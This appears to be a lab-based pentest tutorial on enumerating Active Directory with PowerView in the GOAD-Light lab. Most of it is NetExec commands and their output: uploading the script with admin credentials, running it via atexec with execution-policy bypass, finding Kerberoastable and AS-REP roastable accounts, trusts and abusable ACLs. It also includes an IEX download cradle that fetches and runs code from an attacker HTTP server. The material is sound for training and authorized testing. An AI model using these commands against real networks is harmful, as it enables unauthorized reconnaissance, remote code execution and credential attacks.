PowerView Active Directory Enumeration 2026: PowerShell Pentest Guide

Q: What is the difference between PowerView and Get-ADUser?

Get-ADUser is a Microsoft RSAT cmdlet shipped with the ActiveDirectory module. PowerView is a third-party LDAP wrapper that runs without RSAT install when you can execute scripts. Use whichever the target supports; member servers often lack RSAT while PowerView still works.

Tested on	Kali GNU/Linux Rolling 2026.2 (kali-rolling)
Package	`pwsh 7.6.2` PowerSploit (`/usr/share/windows-resources/powersploit`) `netexec 1.5.1`
Lab environment	Proxmox lab
Cert prep	CompTIA PenTest+ PT0-003 — Domain 4i (Scripting to automate attacks)
Privilege	Domain credentials; local admin on the target only to stage `PowerView.ps1` to `C$` and run `atexec` — read-only LDAP enumeration itself needs only a domain user with LDAP read rights
Scope	Stage and dot-source PowerView on a Windows host; `Get-Domain`, `Get-DomainController`, users, computers, groups, Kerberoastable and AS-REP roastable accounts, trusts, GPOs, ACL discovery, and `-LDAPFilter` search; native `Get-ADUser` when RSAT is present; `pwsh` on Kali for scripting only. Does not cover ACL exploitation, GPO abuse, or BloodHound ingestion.

Short on time?Beta Get the gist of this 14-minute read in seconds, then ask follow-up questions

PowerShell is a native Windows administration and automation shell widely used during Windows and Active Directory assessments. PowerView, the LDAP reconnaissance module in the archived PowerSploit collection, is how most lab workflows answer domain questions from a shell: users, computers, trusts, GPOs, and object permissions that are awkward to inspect with basic Get-AD* cmdlets alone.

This lesson walks through PowerView Active Directory enumeration on GOAD-Light from Kali. We stage the script on castelblack, run the queries through NetExec atexec, and compare PowerView to RSAT, ADSI, and SharpView.

IMPORTANT

PowerShell download cradles and offensive modules are illegal outside authorized engagements. Script staging and LDAP queries are logged on domain controllers. Confirm host-based enumeration is in your rules of engagement before you upload PowerView or run remote commands.

PowerView quick start on GOAD-Light

PowerView only needs a Windows execution context with suitable domain/LDAP access for most read-only enumeration. In this GOAD lab, we use an administrative SMB foothold only because it gives us a reproducible way to upload the script to C$ and execute it remotely through atexec. A normal domain user running PowerView from WinRM, RDP, or another writable path can run the same Get-Domain* commands once the script is loaded.

Stage PowerView on castelblack and list domain computers:

bash
nxc smb 10.10.10.22 -u eddard.stark -p 'FightP3aceAndHonor!' -d north.sevenkingdoms.local \
  --put-file /usr/share/windows-resources/powersploit/Recon/PowerView.ps1 Windows/Temp/PowerView.ps1

output

SMB         10.10.10.22  445  CASTELBLACK  [+] north.sevenkingdoms.local\eddard.stark:FightP3aceAndHonor! (Pwn3d!)
SMB         10.10.10.22  445  CASTELBLACK  [+] Created file on \\C$\Windows/Temp/PowerView.ps1

Remote execution through default wmiexec often drops output when scripts are large or AV interferes. Switch to atexec for PowerView:

bash
nxc smb 10.10.10.22 -u eddard.stark -p 'FightP3aceAndHonor!' -d north.sevenkingdoms.local \
  --exec-method atexec -x 'powershell -nop -ep bypass -c ". C:\Windows\Temp\PowerView.ps1; Get-DomainComputer | Select-Object name,operatingsystem,ipv4address | Format-Table -AutoSize"'

output

SMB         10.10.10.22  445  CASTELBLACK  [+] Executed command via atexec
SMB         10.10.10.22  445  CASTELBLACK  name        operatingsystem
SMB         10.10.10.22  445  CASTELBLACK  ----        ---------------
SMB         10.10.10.22  445  CASTELBLACK  WINTERFELL  Windows Server 2019 Datacenter Evaluation
SMB         10.10.10.22  445  CASTELBLACK  CASTELBLACK Windows Server 2019 Datacenter Evaluation

The sections below cover PowerSploit status, staging options, domain and DC enumeration, Kerberoastable accounts, trusts, GPOs, ACL discovery, and LDAP filter patterns.

PowerView vs PowerShell 7, Get-ADUser, and SharpView

Where you run	Binary	Typical pentest use
Kali Linux	`pwsh` (PowerShell 7+)	Parse tool output, quick filters, glue scripts next to Bash/Python
Windows target	`powershell.exe` (Windows PowerShell 5.1)	LDAP through PowerView, legacy offensive modules, RSAT `Get-AD*` cmdlets
Windows target	`pwsh.exe` (PowerShell 7+)	Modern cross-platform automation — many legacy AD modules do not load here

Most legacy offensive PowerShell tooling, including PowerView and PowerSploit, was written for Windows PowerShell 5.1 and the full .NET Framework. PowerShell 7 uses modern .NET and does not guarantee compatibility with older Windows-specific modules. Microsoft explicitly warns that scripts relying on Windows/.NET Framework APIs may not work on non-Windows PowerShell.

Get-ADUser and other RSAT cmdlets are the supported Microsoft path when the ActiveDirectory module is installed. PowerView wraps LDAP queries without RSAT — useful on member servers and compromised hosts where RSAT was never installed. SharpView, a C# port of PowerView, is another option when PowerShell execution is constrained; this article stays with PowerView because the commands map directly to common AD training and PenTest+ material.

PowerUp is another PowerSploit module, but it checks local Windows privilege-escalation misconfigurations rather than AD relationships. Use the dedicated Windows privilege escalation guide for that workflow.

Can PowerView run from Kali?

Kali ships cross-platform pwsh for scripting beside your Linux toolchain — not as a replacement for running PowerView against AD. PowerView depends on Windows .NET LDAP APIs; on our lab run, dot-sourcing it under Linux pwsh failed with DefineDynamicAssembly errors. Treat Windows execution as the supported path for PowerSploit Recon modules.

Confirm the Kali build and practice pipeline filtering — the same idioms appear in remote one-liners:

bash

pwsh --version

output

PowerShell 7.6.2

Pipeline filtering with Where-Object is the same pattern you will see in remote PowerView one-liners:

bash

pwsh -NoProfile -Command '1..20 | Where-Object { $_ % 3 -eq 0 }'

output

PowerSploit maintenance status

NOTE

PowerSploit is archived. The upstream PowerShellMafia/PowerSploit repository has been read-only since January 2021. PowerView remains widely used in labs, training, and legacy AD workflows, but modern EDR products commonly detect the original script. This article uses Kali's packaged copy to demonstrate enumeration concepts, not because PowerSploit is actively maintained.

Kali bundles the collection under /usr/share/windows-resources/powersploit. Pen testers reach for Recon/PowerView.ps1 most often — a single file you dot-source (. C:\Windows\Temp\PowerView.ps1) or pull with IEX from a short-lived HTTP server. You do not install it through Install-Module on the target.

Prepare and load PowerView

Set these once on Kali:

bash
export DOMAIN_CHILD=north.sevenkingdoms.local
export LAB_DC=10.10.10.21
export LAB_MEMBER=10.10.10.22
export LAB_ADMIN_USER=eddard.stark
export LAB_ADMIN_PASS='FightP3aceAndHonor!'
export POWERVIEW=/usr/share/windows-resources/powersploit/Recon/PowerView.ps1

Writing into C$\Windows\Temp requires local administrator on the target — NetExec shows that as (Pwn3d!). Low-privilege domain users such as robb.stark authenticate over SMB but received STATUS_ACCESS_DENIED when we tried --put-file to C$. That is a staging limitation, not an LDAP requirement.

Copy PowerView into Windows\Temp with NetExec — use the share-relative path Windows/Temp/, not a leading C:\ in the remote argument:

bash
nxc smb "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD" \
  --put-file "$POWERVIEW" Windows/Temp/PowerView.ps1

NetExec reports Created file on \\C$\Windows/Temp/PowerView.ps1 when the upload succeeds.

For a low-privilege foothold without C$ write access, serve the script from Kali over HTTP and use IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/PowerView.ps1') inside a WinRM or interactive shell. That pattern leaves network and process telemetry — use only in scope.

Every remote command in this lesson dot-sources the staged script first:

powershell
. C:\Windows\Temp\PowerView.ps1

Enumerate the domain and domain controllers

Start with forest context before you drill into users and groups. Get-Domain returns the current domain object; Get-DomainController lists reachable DCs:

bash
nxc smb "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD" \
  --exec-method atexec -x 'powershell -nop -ep bypass -c ". C:\Windows\Temp\PowerView.ps1; Get-Domain | Select-Object Name,DomainControllers,PdcRoleOwner | Format-List"'

output

SMB         10.10.10.22  445  CASTELBLACK  [+] Executed command via atexec
SMB         10.10.10.22  445  CASTELBLACK  Name              : north.sevenkingdoms.local
SMB         10.10.10.22  445  CASTELBLACK  DomainControllers : {winterfell.north.sevenkingdoms.local}
SMB         10.10.10.22  445  CASTELBLACK  PdcRoleOwner      : winterfell.north.sevenkingdoms.local

List reachable domain controllers with their IP addresses:

bash
nxc smb "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD" \
  --exec-method atexec -x 'powershell -nop -ep bypass -c ". C:\Windows\Temp\PowerView.ps1; Get-DomainController | Select-Object Name,IPAddress,OS | Format-Table -AutoSize"'

output

SMB         10.10.10.22  445  CASTELBLACK  [+] Executed command via atexec
SMB         10.10.10.22  445  CASTELBLACK  Name                                 IPAddress   OS
SMB         10.10.10.22  445  CASTELBLACK  ----                                 ---------   --
SMB         10.10.10.22  445  CASTELBLACK  winterfell.north.sevenkingdoms.local 10.10.10.21

PdcRoleOwner and the DC IP confirm winterfell at 10.10.10.21 — the same child-domain topology from Deploy GOAD-Light on Proxmox.

Enumerate users, computers, and groups

Dot-source the staged script, then list domain users. Use --exec-method atexec so output returns reliably:

bash
nxc smb "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD" \
  --exec-method atexec -x 'powershell -nop -ep bypass -c ". C:\Windows\Temp\PowerView.ps1; Get-DomainUser | Select-Object -First 5 SamAccountName,Description | Format-Table -AutoSize"'

output

SMB         10.10.10.22  445  CASTELBLACK  [+] Executed command via atexec
SMB         10.10.10.22  445  CASTELBLACK  SamAccountName Description
SMB         10.10.10.22  445  CASTELBLACK  -------------- -----------
SMB         10.10.10.22  445  CASTELBLACK  Administrator  Built-in account for administering the computer/domain
SMB         10.10.10.22  445  CASTELBLACK  Guest          Built-in account for guest access to the computer/domain
SMB         10.10.10.22  445  CASTELBLACK  vagrant        Vagrant User
SMB         10.10.10.22  445  CASTELBLACK  cloudbase-init
SMB         10.10.10.22  445  CASTELBLACK  krbtgt         Key Distribution Center Service Account

The first rows include built-in and service accounts — scroll or filter when you hunt for human users. Pair results with Kerberoasting or password spraying when descriptions or naming patterns stand out.

High-value group membership is a standard pivot checklist item:

bash
nxc smb "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD" \
  --exec-method atexec -x 'powershell -nop -ep bypass -c ". C:\Windows\Temp\PowerView.ps1; Get-DomainGroupMember -Identity \"Domain Admins\" | Select-Object MemberName | Format-Table -AutoSize"'

output

SMB         10.10.10.22  445  CASTELBLACK  MemberName
SMB         10.10.10.22  445  CASTELBLACK  ----------
SMB         10.10.10.22  445  CASTELBLACK  eddard.stark
SMB         10.10.10.22  445  CASTELBLACK  Administrator

Record MemberName values for pass-the-hash or lateral-movement planning. BloodHound automates much of this graph work — PowerView remains the lightweight option when you only need a quick LDAP answer from a shell.

Kerberoastable and AS-REP roastable users

PowerView exposes the same SPN and pre-auth flags that Kerberoasting and AS-REP roasting lessons target with Impacket:

bash
nxc smb "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD" \
  --exec-method atexec -x 'powershell -nop -ep bypass -c ". C:\Windows\Temp\PowerView.ps1; Get-DomainUser -SPN | Select-Object SamAccountName,ServicePrincipalName | Format-Table -AutoSize"'

output

SMB         10.10.10.22  445  CASTELBLACK  [+] Executed command via atexec
SMB         10.10.10.22  445  CASTELBLACK  SamAccountName ServicePrincipalName
SMB         10.10.10.22  445  CASTELBLACK  -------------- --------------------
SMB         10.10.10.22  445  CASTELBLACK  krbtgt         kadmin/changepw
SMB         10.10.10.22  445  CASTELBLACK  sansa.stark    HTTP/eyrie.north.sevenkingdoms.local
SMB         10.10.10.22  445  CASTELBLACK  jon.snow       {CIFS/winterfell.north.sevenkingdoms.local, HTTP/thewall.north.sevenkingdoms.local}
SMB         10.10.10.22  445  CASTELBLACK  sql_svc        {MSSQLSvc/castelblack.north.sevenkingdoms.local, MSSQLSvc/castelblack.north.sevenkingdoms.local:1433}

Skip krbtgt when you build a crack list — focus on user-owned SPNs such as jon.snow and sql_svc.

AS-REP roastable accounts have DONT_REQ_PREAUTH set:

bash
nxc smb "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD" \
  --exec-method atexec -x 'powershell -nop -ep bypass -c ". C:\Windows\Temp\PowerView.ps1; Get-DomainUser -PreauthNotRequired | Select-Object SamAccountName,useraccountcontrol | Format-Table -AutoSize"'

output

SMB         10.10.10.22  445  CASTELBLACK  [+] Executed command via atexec
SMB         10.10.10.22  445  CASTELBLACK  SamAccountName useraccountcontrol
SMB         10.10.10.22  445  CASTELBLACK  -------------- ------------------
SMB         10.10.10.22  445  CASTELBLACK  brandon.stark  NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, DONT_REQ_PREAUTH

brandon.stark matches the AS-REP roasting path in the Kerberoasting lesson.

Enumerate trusts, GPOs, and ACLs

Domain trusts

Trust enumeration is one of the main capabilities PowerView is known for. On GOAD-Light the child domain trusts the parent forest:

bash
nxc smb "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD" \
  --exec-method atexec -x 'powershell -nop -ep bypass -c ". C:\Windows\Temp\PowerView.ps1; Get-DomainTrust | Select-Object SourceName,TargetName,TrustDirection,TrustType | Format-Table -AutoSize"'

output

SMB         10.10.10.22  445  CASTELBLACK  [+] Executed command via atexec
SMB         10.10.10.22  445  CASTELBLACK  SourceName                TargetName          TrustDirection TrustType
SMB         10.10.10.22  445  CASTELBLACK  ----------                ----------          -------------- ---------
SMB         10.10.10.22  445  CASTELBLACK  north.sevenkingdoms.local sevenkingdoms.local Bidirectional  WINDOWS_ACTIVE_DIRECTORY

Bidirectional trust to sevenkingdoms.local is a pivot signal — follow it with BloodHound or parent-domain enumeration when scope allows.

GPO enumeration

GOAD ships deliberately vulnerable GPO relationships. List linked policies before you hunt abuse paths:

bash
nxc smb "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD" \
  --exec-method atexec -x 'powershell -nop -ep bypass -c ". C:\Windows\Temp\PowerView.ps1; Get-DomainGPO | Select-Object displayname,name | Format-Table -AutoSize"'

output

SMB         10.10.10.22  445  CASTELBLACK  [+] Executed command via atexec
SMB         10.10.10.22  445  CASTELBLACK  displayname                       name
SMB         10.10.10.22  445  CASTELBLACK  -----------                       ----
SMB         10.10.10.22  445  CASTELBLACK  Default Domain Policy             {31B2F340-016D-11D2-945F-00C04FB984F9}
SMB         10.10.10.22  445  CASTELBLACK  Default Domain Controllers Policy {6AC1786C-016F-11D2-945F-00C04fB984F9}
SMB         10.10.10.22  445  CASTELBLACK  StarkWallpaper                    {294381D9-9995-4D67-8C09-F83B34159B02}

StarkWallpaper is a lab-specific GPO — BloodHound maps who can edit it without running exploitation here.

Find interesting Active Directory ACLs

PowerView becomes especially useful when you need object permissions that are awkward to inspect with basic AD cmdlets. Query ACLs on a specific object with Get-DomainObjectAcl:

bash
nxc smb "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD" \
  --exec-method atexec -x 'powershell -nop -ep bypass -c ". C:\Windows\Temp\PowerView.ps1; Get-DomainObjectAcl -Identity samwell.tarly -ResolveGUIDs | Select-Object -First 2 | Format-List IdentityReferenceName,ActiveDirectoryRights,ObjectType,ObjectDN"'

output

SMB         10.10.10.22  445  CASTELBLACK  [+] Executed command via atexec
SMB         10.10.10.22  445  CASTELBLACK  ActiveDirectoryRights : ReadProperty
SMB         10.10.10.22  445  CASTELBLACK  ObjectDN              : CN=samwell.tarly,CN=Users,DC=north,DC=sevenkingdoms,DC=local
SMB         10.10.10.22  445  CASTELBLACK  ActiveDirectoryRights : ReadProperty
SMB         10.10.10.22  445  CASTELBLACK  ObjectDN              : CN=samwell.tarly,CN=Users,DC=north,DC=sevenkingdoms,DC=local

-ResolveGUIDs turns opaque GUIDs into readable object types. Large ACL output can trigger AV on atexec output files — redirect to disk and pull with --get-file when a query returns nothing over SMB exec.

For domain-wide hunting, Find-InterestingDomainAcl surfaces high-value rights such as GenericWrite, GenericAll, and WriteDacl:

bash
nxc smb "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD" \
  --exec-method atexec --get-output-tries 8 -x 'powershell -nop -ep bypass -c ". C:\Windows\Temp\PowerView.ps1; Find-InterestingDomainAcl | Select-Object -First 4 IdentityReferenceName,ActiveDirectoryRights,ObjectDN | Format-Table -Wrap"'

output

SMB         10.10.10.22  445  CASTELBLACK  [+] Executed command via atexec
SMB         10.10.10.22  445  CASTELBLACK  IdentityReferenceName ActiveDirectoryRights ObjectDN
SMB         10.10.10.22  445  CASTELBLACK  --------------------- --------------------- --------
SMB         10.10.10.22  445  CASTELBLACK  WINTERFELL$                      GenericAll CN=DFSR-LocalSettings,CN=WINTERFELL,OU=Domain
SMB         10.10.10.22  445  CASTELBLACK                                                  Controllers,DC=north,DC=sevenkingdoms,DC=local
SMB         10.10.10.22  445  CASTELBLACK  DnsAdmins                     CreateChild,  DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=north,DC=sevenkingdoms,DC=lo
SMB         10.10.10.22  445  CASTELBLACK                                    DeleteChild,  cal
SMB         10.10.10.22  445  CASTELBLACK                                   GenericWrite,
SMB         10.10.10.22  445  CASTELBLACK                            WriteDacl, WriteOwner

Map ACL findings such as GenericWrite, GenericAll, or WriteDACL in BloodHound or investigate them in a dedicated ACL-abuse lesson. The DnsAdmins row shows why PowerView ACL discovery matters — those rights are not obvious from Get-DomainUser alone.

Search Active Directory with LDAP filters

When you know the attribute you need, -LDAPFilter is faster than dumping every user. PowerView passes the filter straight to LDAP:

bash
nxc smb "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD" \
  --exec-method atexec -x 'powershell -nop -ep bypass -c ". C:\Windows\Temp\PowerView.ps1; Get-DomainUser -LDAPFilter \"(samaccountname=robb.stark)\" | Select-Object SamAccountName,Description | Format-List"'

Useful filter examples for assessments:

Goal	`-LDAPFilter` example
One user	`(samaccountname=robb.stark)`
Description keyword	`(description=admin)`
Enabled users only	`(&(objectCategory=person)(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))`
SPN set (Kerberoast candidates)	`(servicePrincipalName=*)`

ADSI without RSAT

Use native Get-AD* cmdlets when RSAT is installed, or fall back to ADSI/DirectorySearcher when it is not. ADSI does not require RSAT — only .NET directory services on a domain-joined host:

powershell
$s = New-Object DirectoryServices.DirectorySearcher
$s.Filter = '(&(objectCategory=person)(objectClass=user))'
$s.FindAll() | ForEach-Object { $_.Properties['samaccountname'][0] }

Get-ADUser with RSAT

Domain controllers and servers with RSAT expose the ActiveDirectory module:

powershell
Import-Module ActiveDirectory
Get-ADUser -Filter 'Description -like "*stark*"' -Properties Description |
  Select-Object SamAccountName, Description

On castelblack our run returned The specified module 'ActiveDirectory' was not loaded — common on member servers without RSAT. Run Get-ADUser from a DC management session or rely on PowerView from any domain-joined host with network LDAP access.

Execution and detection troubleshooting

Symptom	Likely cause	Fix
`DefineDynamicAssembly` under Linux `pwsh`	PowerView needs Windows .NET	Run PowerView on a Windows host, not Kali `pwsh`
`STATUS_ACCESS_DENIED` on `--put-file`	Cred lacks admin `C$` write	Use admin creds, WinRM upload, or HTTP `IEX`
`wmiexec` missing output / AV message	Output file removed or script blocked	Use `--exec-method atexec` or WinRM
`An operations error occurred` in PowerView over `wmiexec`	LDAP bind context from remote WMI	Prefer `atexec` or an interactive WinRM session
`ActiveDirectory` module not found	RSAT not installed on that server	Use PowerView or run from a DC with RSAT
Large ACL output missing over `atexec`	AV removed the output file	Write results to `C:\Users\Public\` and `--get-file`

Log sources defenders watch include PowerShell script block logging (Event ID 4104), module loads, and LDAP queries from unusual hosts. Note script paths, accounts, and filters in your report.

Remove staged scripts when the lab exercise ends:

bash
nxc smb "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD" \
  -x 'del /f C:\Windows\Temp\PowerView.ps1'

Summary

PowerView Active Directory enumeration from a Windows shell answers the LDAP questions most PowerView guides cover: domain and DC context, users, computers, groups, Kerberoastable and AS-REP roastable accounts, trusts, GPOs, and ACL discovery. On GOAD-Light we uploaded PowerView.ps1 with NetExec --put-file, then ran Get-Domain, Get-DomainController, Get-DomainUser -SPN, Get-DomainTrust, and Find-InterestingDomainAcl through --exec-method atexec.

PowerView does not run reliably under Linux pwsh, and Get-ADUser needs the RSAT ActiveDirectory module that member servers often lack — plan on PowerView or ADSI from domain-joined Windows. Administrative SMB access in this lab is a staging convenience for C$ uploads and atexec, not a requirement for read-only LDAP enumeration from an interactive domain-user shell. Pair LDAP results with BloodHound or Kerberoasting when you need graph-wide attack paths.

References

PowerSploit — GitHub (archived)
PowerShell documentation
PowerShell 7 support lifecycle — Microsoft
MITRE ATT&CK T1059.001 — PowerShell
MITRE ATT&CK T1087.002 — Domain Account Discovery

Frequently Asked Questions

Can I run PowerView from Kali pwsh?

Not reliably. PowerView expects Windows .NET LDAP and dynamic assembly APIs that Linux pwsh does not provide. Use Kali pwsh for local scripting; stage and run PowerView on a domain-joined Windows host.

Why use atexec instead of default wmiexec?

Large PowerShell output and some AV products interfere with wmiexec temporary output files. --exec-method atexec returned full PowerView tables in our GOAD-Light runs when wmiexec failed or truncated output.

Do I need domain admin to run PowerView?

You need rights to read the LDAP objects you query — many domains allow authenticated users to list users and computers. Staging files to C$\Windows\Temp and running atexec require local administrator on the target, which NetExec shows as (Pwn3d!). From WinRM or RDP under a normal domain account, the same Get-Domain* commands work once PowerView is loaded.

What is the difference between PowerView and Get-ADUser?

Get-ADUser is a Microsoft RSAT cmdlet shipped with the ActiveDirectory module. PowerView is a third-party LDAP wrapper that runs without RSAT install when you can execute scripts. Use whichever the target supports; member servers often lack RSAT while PowerView still works.

Is PowerSploit still maintained?

No. The upstream PowerSploit repository was archived in January 2021 and is read-only. Kali still packages PowerView for lab and training use, but treat it as legacy tooling and expect EDR detection on the original script.

When should I use SharpView instead of PowerView?

SharpView is a C# port of PowerView for environments where PowerShell logging or execution policy blocks script-based recon. The cmdlet names and LDAP concepts overlap; choose SharpView when you need a binary alternative, and PowerView when you already have a PowerShell execution path.

PowerView Active Directory Enumeration with PowerShell

PowerView quick start on GOAD-Light

PowerView vs PowerShell 7, Get-ADUser, and SharpView

Can PowerView run from Kali?

PowerSploit maintenance status

Prepare and load PowerView

Enumerate the domain and domain controllers

Enumerate users, computers, and groups

Kerberoastable and AS-REP roastable users

Enumerate trusts, GPOs, and ACLs

Domain trusts

GPO enumeration

Find interesting Active Directory ACLs

Search Active Directory with LDAP filters

ADSI without RSAT

Get-ADUser with RSAT

Execution and detection troubleshooting

Summary

References

Frequently Asked Questions

Can I run PowerView from Kali pwsh?

Why use atexec instead of default wmiexec?

Do I need domain admin to run PowerView?

What is the difference between PowerView and Get-ADUser?

Is PowerSploit still maintained?

When should I use SharpView instead of PowerView?

Ask GLC Bot

PowerView quick start on GOAD-Light

PowerView vs PowerShell 7, Get-ADUser, and SharpView

Can PowerView run from Kali?

PowerSploit maintenance status

Prepare and load PowerView

Enumerate the domain and domain controllers

Enumerate users, computers, and groups

Kerberoastable and AS-REP roastable users

Enumerate trusts, GPOs, and ACLs

Domain trusts

GPO enumeration

Find interesting Active Directory ACLs

Search Active Directory with LDAP filters

ADSI without RSAT

Get-ADUser with RSAT

Execution and detection troubleshooting

Summary

References

Frequently Asked Questions

Can I run PowerView from Kali pwsh?

Why use atexec instead of default wmiexec?

Do I need domain admin to run PowerView?

What is the difference between PowerView and Get-ADUser?

Is PowerSploit still maintained?

When should I use SharpView instead of PowerView?

Related Articles

Establish Persistence on Linux and Windows After Initial Access

Lateral Movement on Windows with PsExec, WMI, and WinRM

Windows Privilege Escalation with winPEAS and SeImpersonate